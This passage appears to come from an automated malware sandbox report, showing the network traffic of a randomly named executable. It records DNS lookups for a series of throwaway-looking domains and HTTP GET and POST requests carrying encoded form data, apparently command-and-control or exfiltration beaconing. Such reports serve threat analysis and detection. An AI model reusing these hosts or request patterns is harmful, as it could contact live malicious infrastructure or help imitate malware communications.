Nov 13, 2024 09:28:59.810374975 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.810389042 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.810403109 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.810404062 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.810415030 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.810429096 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.810445070 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.810451031 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.810487032 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.810945034 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.811127901 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.811142921 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.811156988 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.811172009 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.811176062 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.811187983 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.811192036 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.811204910 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.811220884 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.811230898 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.811235905 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.811253071 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.811280012 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.811311007 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.811834097 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.811851025 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.811892986 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.811969042 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.812019110 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.812036037 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.812060118 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.812249899 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:59.812311888 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.817758083 CET	59117	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:59.822690964 CET	80	59117	38.47.237.27	192.168.2.4
Nov 13, 2024 09:29:05.166141987 CET	59118	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:05.171087980 CET	80	59118	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:05.171291113 CET	59118	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:05.187763929 CET	59118	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:05.192738056 CET	80	59118	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:06.128611088 CET	80	59118	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:06.175662994 CET	59118	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:06.310815096 CET	80	59118	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:06.311005116 CET	59118	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:06.751373053 CET	59118	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:07.758099079 CET	59119	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:07.763580084 CET	80	59119	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:07.763705015 CET	59119	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:07.783067942 CET	59119	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:07.791517019 CET	80	59119	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:08.728703022 CET	80	59119	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:08.769360065 CET	59119	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:08.911233902 CET	80	59119	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:08.911328077 CET	59119	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:09.285052061 CET	59119	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:10.305847883 CET	59120	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:10.310916901 CET	80	59120	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:10.310975075 CET	59120	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:10.320333958 CET	59120	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:10.325359106 CET	80	59120	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:10.325368881 CET	80	59120	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:10.325386047 CET	80	59120	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:10.325393915 CET	80	59120	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:10.325407982 CET	80	59120	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:10.325417042 CET	80	59120	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:10.325431108 CET	80	59120	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:10.325438976 CET	80	59120	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:10.325447083 CET	80	59120	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:11.276030064 CET	80	59120	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:11.316348076 CET	59120	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:11.459129095 CET	80	59120	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:11.459312916 CET	59120	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:11.831970930 CET	59120	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:12.850364923 CET	59121	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:12.855679989 CET	80	59121	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:12.855798006 CET	59121	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:12.864058971 CET	59121	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:12.868963957 CET	80	59121	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:13.811515093 CET	80	59121	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:13.863111973 CET	59121	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:13.993623018 CET	80	59121	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:13.993742943 CET	59121	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:13.994503021 CET	59121	80	192.168.2.4	206.119.81.36
Nov 13, 2024 09:29:13.999349117 CET	80	59121	206.119.81.36	192.168.2.4
Nov 13, 2024 09:29:19.027290106 CET	59122	80	192.168.2.4	172.217.16.211
Nov 13, 2024 09:29:19.032154083 CET	80	59122	172.217.16.211	192.168.2.4
Nov 13, 2024 09:29:19.032250881 CET	59122	80	192.168.2.4	172.217.16.211
Nov 13, 2024 09:29:19.046355009 CET	59122	80	192.168.2.4	172.217.16.211
Nov 13, 2024 09:29:19.051182985 CET	80	59122	172.217.16.211	192.168.2.4
Nov 13, 2024 09:29:19.904666901 CET	80	59122	172.217.16.211	192.168.2.4
Nov 13, 2024 09:29:19.904683113 CET	80	59122	172.217.16.211	192.168.2.4
Nov 13, 2024 09:29:19.904719114 CET	59122	80	192.168.2.4	172.217.16.211
Nov 13, 2024 09:29:20.040349007 CET	80	59122	172.217.16.211	192.168.2.4
Nov 13, 2024 09:29:20.040384054 CET	59122	80	192.168.2.4	172.217.16.211
Nov 13, 2024 09:29:20.894490004 CET	59122	80	192.168.2.4	172.217.16.211

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 09:26:37.923608065 CET	64978	53	192.168.2.4	1.1.1.1
Nov 13, 2024 09:26:38.223809004 CET	53	64978	1.1.1.1	192.168.2.4
Nov 13, 2024 09:26:43.241071939 CET	50470	53	192.168.2.4	1.1.1.1
Nov 13, 2024 09:26:43.852510929 CET	53	50470	1.1.1.1	192.168.2.4
Nov 13, 2024 09:26:46.134974957 CET	53	62155	162.159.36.2	192.168.2.4
Nov 13, 2024 09:26:46.775201082 CET	53652	53	192.168.2.4	1.1.1.1
Nov 13, 2024 09:26:46.783221960 CET	53	53652	1.1.1.1	192.168.2.4
Nov 13, 2024 09:26:59.662170887 CET	52144	53	192.168.2.4	1.1.1.1
Nov 13, 2024 09:26:59.677223921 CET	53	52144	1.1.1.1	192.168.2.4
Nov 13, 2024 09:27:12.960849047 CET	61919	53	192.168.2.4	1.1.1.1
Nov 13, 2024 09:27:13.315387964 CET	53	61919	1.1.1.1	192.168.2.4
Nov 13, 2024 09:27:27.037060022 CET	52782	53	192.168.2.4	1.1.1.1
Nov 13, 2024 09:27:27.049427032 CET	53	52782	1.1.1.1	192.168.2.4
Nov 13, 2024 09:27:40.349427938 CET	56823	53	192.168.2.4	1.1.1.1
Nov 13, 2024 09:27:40.675170898 CET	53	56823	1.1.1.1	192.168.2.4
Nov 13, 2024 09:27:55.271630049 CET	50942	53	192.168.2.4	1.1.1.1
Nov 13, 2024 09:27:55.313754082 CET	53	50942	1.1.1.1	192.168.2.4
Nov 13, 2024 09:28:08.678344965 CET	58984	53	192.168.2.4	1.1.1.1
Nov 13, 2024 09:28:08.691365957 CET	53	58984	1.1.1.1	192.168.2.4
Nov 13, 2024 09:28:22.836966991 CET	50261	53	192.168.2.4	1.1.1.1
Nov 13, 2024 09:28:22.864558935 CET	53	50261	1.1.1.1	192.168.2.4
Nov 13, 2024 09:28:36.850281954 CET	55314	53	192.168.2.4	1.1.1.1
Nov 13, 2024 09:28:37.252989054 CET	53	55314	1.1.1.1	192.168.2.4
Nov 13, 2024 09:28:51.084273100 CET	59877	53	192.168.2.4	1.1.1.1
Nov 13, 2024 09:28:51.123131990 CET	53	59877	1.1.1.1	192.168.2.4
Nov 13, 2024 09:29:04.836397886 CET	63102	53	192.168.2.4	1.1.1.1
Nov 13, 2024 09:29:05.162887096 CET	53	63102	1.1.1.1	192.168.2.4
Nov 13, 2024 09:29:19.008876085 CET	52522	53	192.168.2.4	1.1.1.1
Nov 13, 2024 09:29:19.023835897 CET	53	52522	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 13, 2024 09:26:37.923608065 CET	192.168.2.4	1.1.1.1	0xb1	Standard query (0)	www.jllllbx.top	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:26:43.241071939 CET	192.168.2.4	1.1.1.1	0x7fcb	Standard query (0)	www.college-help.info	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:26:46.775201082 CET	192.168.2.4	1.1.1.1	0x6d6f	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Nov 13, 2024 09:26:59.662170887 CET	192.168.2.4	1.1.1.1	0xdbe1	Standard query (0)	www.binacamasala.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:27:12.960849047 CET	192.168.2.4	1.1.1.1	0xfc14	Standard query (0)	www.marketplacer.top	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:27:27.037060022 CET	192.168.2.4	1.1.1.1	0xb652	Standard query (0)	www.energyparks.net	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:27:40.349427938 CET	192.168.2.4	1.1.1.1	0x55ca	Standard query (0)	www.yvrkp.top	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:27:55.271630049 CET	192.168.2.4	1.1.1.1	0xacfe	Standard query (0)	www.flikka.site	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:28:08.678344965 CET	192.168.2.4	1.1.1.1	0xed5b	Standard query (0)	www.ladylawher.shop	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:28:22.836966991 CET	192.168.2.4	1.1.1.1	0x1837	Standard query (0)	www.primeproperty.property	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:28:36.850281954 CET	192.168.2.4	1.1.1.1	0x5629	Standard query (0)	www.kghjkx.xyz	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:28:51.084273100 CET	192.168.2.4	1.1.1.1	0x9b79	Standard query (0)	www.iuyi542.xyz	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:29:04.836397886 CET	192.168.2.4	1.1.1.1	0x120c	Standard query (0)	www.neg21.top	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:29:19.008876085 CET	192.168.2.4	1.1.1.1	0x4965	Standard query (0)	www.digitaladpro.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 13, 2024 09:26:38.223809004 CET	1.1.1.1	192.168.2.4	0xb1	Name error (3)	www.jllllbx.top	none	none	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:26:43.852510929 CET	1.1.1.1	192.168.2.4	0x7fcb	No error (0)	www.college-help.info		38.88.82.56	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:26:46.783221960 CET	1.1.1.1	192.168.2.4	0x6d6f	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Nov 13, 2024 09:26:59.677223921 CET	1.1.1.1	192.168.2.4	0xdbe1	No error (0)	www.binacamasala.com	binacamasala.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 09:26:59.677223921 CET	1.1.1.1	192.168.2.4	0xdbe1	No error (0)	binacamasala.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:26:59.677223921 CET	1.1.1.1	192.168.2.4	0xdbe1	No error (0)	binacamasala.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:27:13.315387964 CET	1.1.1.1	192.168.2.4	0xfc14	No error (0)	www.marketplacer.top		194.58.112.174	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:27:27.049427032 CET	1.1.1.1	192.168.2.4	0xb652	No error (0)	www.energyparks.net	energyparks.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 09:27:27.049427032 CET	1.1.1.1	192.168.2.4	0xb652	No error (0)	energyparks.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:27:27.049427032 CET	1.1.1.1	192.168.2.4	0xb652	No error (0)	energyparks.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:27:40.675170898 CET	1.1.1.1	192.168.2.4	0x55ca	No error (0)	www.yvrkp.top		104.21.14.183	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:27:40.675170898 CET	1.1.1.1	192.168.2.4	0x55ca	No error (0)	www.yvrkp.top		172.67.160.35	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:27:55.313754082 CET	1.1.1.1	192.168.2.4	0xacfe	No error (0)	www.flikka.site		67.223.117.142	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:28:08.691365957 CET	1.1.1.1	192.168.2.4	0xed5b	No error (0)	www.ladylawher.shop	ladylawher.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 09:28:08.691365957 CET	1.1.1.1	192.168.2.4	0xed5b	No error (0)	ladylawher.shop		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:28:08.691365957 CET	1.1.1.1	192.168.2.4	0xed5b	No error (0)	ladylawher.shop		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:28:22.864558935 CET	1.1.1.1	192.168.2.4	0x1837	No error (0)	www.primeproperty.property	dns.webcake.io		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 09:28:22.864558935 CET	1.1.1.1	192.168.2.4	0x1837	No error (0)	dns.webcake.io		113.20.119.31	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:28:37.252989054 CET	1.1.1.1	192.168.2.4	0x5629	No error (0)	www.kghjkx.xyz		47.129.103.185	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:28:51.123131990 CET	1.1.1.1	192.168.2.4	0x9b79	No error (0)	www.iuyi542.xyz	iuyi542.xyz		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 09:28:51.123131990 CET	1.1.1.1	192.168.2.4	0x9b79	No error (0)	iuyi542.xyz		38.47.237.27	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:29:05.162887096 CET	1.1.1.1	192.168.2.4	0x120c	No error (0)	www.neg21.top	neg21.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 09:29:05.162887096 CET	1.1.1.1	192.168.2.4	0x120c	No error (0)	neg21.top		206.119.81.36	A (IP address)	IN (0x0001)	false
Nov 13, 2024 09:29:19.023835897 CET	1.1.1.1	192.168.2.4	0x4965	No error (0)	www.digitaladpro.shop	ghs.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 09:29:19.023835897 CET	1.1.1.1	192.168.2.4	0x4965	No error (0)	ghs.google.com		172.217.16.211	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.college-help.info

www.binacamasala.com

www.marketplacer.top

www.energyparks.net

www.yvrkp.top

www.flikka.site

www.ladylawher.shop

www.primeproperty.property

www.kghjkx.xyz

www.iuyi542.xyz

www.neg21.top

www.digitaladpro.shop

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	38.88.82.56	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:26:43.877887011 CET	531	OUT	GET /fu91/?rP=HVzlbrdNsUKwRMyAkSaq9f4c/m6isv/WUf8DIHIYxdtxD6ajZVqGW4SkaKVstmHHiDHGL4Ocj6+1IS/NZZr1NwcNkcJHwAXjc6i3ixCnFRD7cmGoWCaelms=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1 Host: www.college-help.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 13, 2024 09:26:44.568723917 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 13 Nov 2024 08:26:44 GMT Server: Apache Last-Modified: Wed, 06 Nov 2024 18:10:13 GMT ETag: "49d-626426de29b28" Accept-Ranges: bytes Content-Length: 1181 Content-Type: text/html Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 2e 73 70 65 61 63 68 62 75 62 62 6c 65 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 32 35 30 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 35 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 62 6c 61 63 6b 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 62 6f 74 74 6f 6d 2c 20 20 72 67 62 61 28 31 33 35 2c 31 33 35 2c 31 33 35 2c 31 29 20 30 25 2c 72 67 62 61 [TRUNCATED] Data Ascii: <!DOCTYPE html><html><head> <title>404 Error</title></head><body style="background:white;"> <style type="text/css"> .speachbubble { position: relative; width: 250px; height: 105px; padding: 0px; background: black; background: linear-gradient(to bottom, rgba(135,135,135,1) 0%,rgba(0,0,0,1) 100%); border-radius: 8px; margin:auto; margin-top:100px;}.speachbubble:after { content: ""; position: absolute; bottom: -18px; left: 102px; border-style: solid; border-width: 18px 21px 0; border-color: black transparent; display: block; width: 0; z-index: 1;}.speachbubble span { display:block; margin:auto; text-align:center; font:72px arial; color:white; padding-top:10px; text-shadow: 4px 4px 2px rgba(0, 0, 0, .3);}.message { font:24px arial; color:black; text-align:center; margin-top:40px; text-shadow: 2
Nov 13, 2024 09:26:44.568779945 CET	185	IN	Data Raw: 70 78 20 32 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 32 29 3b 0d 0a 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 20 0d 0a 0d 0a 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 65 61 63 68 62 75 62 62 6c 65 22 3e 3c 73 70 61 6e 3e 34 Data Ascii: px 2px 2px rgba(0, 0, 0, .2);}</style> <div class="speachbubble"><span>404</span></div><div class="message">Error: 404 - File Not Found</div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	58817	3.33.130.190	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:26:59.698765039 CET	798	OUT	POST /usv6/ HTTP/1.1 Host: www.binacamasala.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.binacamasala.com Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Referer: http://www.binacamasala.com/usv6/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 65 69 72 75 41 33 31 33 64 63 77 47 31 5a 48 55 42 32 2b 36 78 37 6d 4e 42 34 35 36 69 54 76 53 4a 78 78 35 76 65 75 58 66 77 38 59 4a 46 2f 43 32 54 6f 78 30 4d 37 2f 67 6e 37 48 4f 2b 79 71 57 43 78 53 37 47 44 36 6d 37 47 79 4f 68 42 36 33 73 68 7a 74 37 63 39 37 33 70 6f 6f 53 71 6b 72 67 43 37 52 62 73 62 78 6a 63 4f 33 6b 68 75 34 65 4b 56 75 56 4b 5a 6f 79 65 34 6c 2f 4a 6f 52 30 51 6d 73 74 36 56 66 2f 48 66 6f 56 72 61 56 66 43 6d 58 66 66 74 39 65 42 64 56 44 6f 4e 4c 48 4e 2b 59 68 69 38 72 51 59 7a 33 5a 39 44 73 5a 43 4c 39 76 63 49 69 42 65 52 7a 4c 4b 57 48 41 3d 3d Data Ascii: rP=eiruA313dcwG1ZHUB2+6x7mNB456iTvSJxx5veuXfw8YJF/C2Tox0M7/gn7HO+yqWCxS7GD6m7GyOhB63shzt7c973pooSqkrgC7RbsbxjcO3khu4eKVuVKZoye4l/JoR0Qmst6Vf/HfoVraVfCmXfft9eBdVDoNLHN+Yhi8rQYz3Z9DsZCL9vcIiBeRzLKWHA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	58818	3.33.130.190	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:02.237179041 CET	818	OUT	POST /usv6/ HTTP/1.1 Host: www.binacamasala.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.binacamasala.com Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Referer: http://www.binacamasala.com/usv6/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 65 69 72 75 41 33 31 33 64 63 77 47 30 34 33 55 4e 78 43 36 67 62 6d 4d 45 34 35 36 6f 7a 76 57 4a 78 74 35 76 66 72 50 66 6d 45 59 49 6e 6e 43 33 53 6f 78 31 4d 37 2f 76 48 37 43 41 65 79 68 57 43 4e 30 37 44 72 36 6d 36 6d 79 4f 6c 4e 36 30 62 31 77 73 72 63 2f 30 58 70 51 6d 79 71 6b 72 67 43 37 52 62 6f 68 78 6a 45 4f 33 58 70 75 71 76 4b 55 79 46 4b 61 68 53 65 34 68 2f 4a 73 52 30 51 59 73 70 37 77 66 35 62 66 6f 55 62 61 56 4f 43 6c 65 66 66 72 67 4f 42 44 61 69 4a 36 46 57 38 68 66 44 4f 42 74 7a 70 58 2f 2f 77 5a 39 6f 6a 63 76 76 34 37 2f 47 58 6c 2b 49 33 66 63 49 72 66 51 68 55 66 44 71 2f 43 4d 32 49 5a 4f 66 4b 45 6f 48 30 3d Data Ascii: rP=eiruA313dcwG043UNxC6gbmME456ozvWJxt5vfrPfmEYInnC3Sox1M7/vH7CAeyhWCN07Dr6m6myOlN60b1wsrc/0XpQmyqkrgC7RbohxjEO3XpuqvKUyFKahSe4h/JsR0QYsp7wf5bfoUbaVOCleffrgOBDaiJ6FW8hfDOBtzpX//wZ9ojcvv47/GXl+I3fcIrfQhUfDq/CM2IZOfKEoH0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	58819	3.33.130.190	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:04.784485102 CET	10900	OUT	POST /usv6/ HTTP/1.1 Host: www.binacamasala.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.binacamasala.com Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 10299 Referer: http://www.binacamasala.com/usv6/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 65 69 72 75 41 33 31 33 64 63 77 47 30 34 33 55 4e 78 43 36 67 62 6d 4d 45 34 35 36 6f 7a 76 57 4a 78 74 35 76 66 72 50 66 6d 4d 59 49 57 48 43 32 78 41 78 76 4d 37 2f 6d 6e 37 44 41 65 79 34 57 43 6c 34 37 44 6e 4d 6d 2f 69 79 4e 47 46 36 78 75 5a 77 6d 72 63 2f 73 6e 70 72 6f 53 71 78 72 67 53 2f 52 62 59 68 78 6a 45 4f 33 52 4e 75 39 75 4b 55 77 46 4b 5a 6f 79 65 38 6c 2f 4a 55 52 30 49 49 73 70 76 4b 66 4b 44 66 6f 30 4c 61 47 73 36 6c 63 2f 66 70 68 4f 41 51 61 69 46 6c 46 53 6b 74 66 48 4f 76 74 30 5a 58 36 62 56 74 67 37 36 48 35 63 6f 30 68 6b 54 34 34 34 76 42 45 36 62 33 57 54 4e 45 62 34 50 65 43 6c 5a 52 65 4d 71 77 33 67 30 46 31 75 31 75 6c 6b 4a 6a 34 6e 74 4d 5a 7a 71 64 43 4f 7a 4b 4a 70 38 77 62 6f 6c 47 37 63 50 4b 30 39 73 6b 63 7a 36 59 62 57 65 58 2f 72 79 39 4f 73 34 67 59 55 59 35 6a 61 78 54 68 5a 71 58 58 48 51 61 4d 54 52 36 6d 42 64 32 47 42 57 45 67 6b 62 63 68 45 72 4c 7a 75 45 6f 33 6e 79 75 61 4b 61 59 65 6f 37 7a 73 69 56 33 53 66 53 63 31 77 4d 64 73 79 42 [TRUNCATED] Data Ascii: 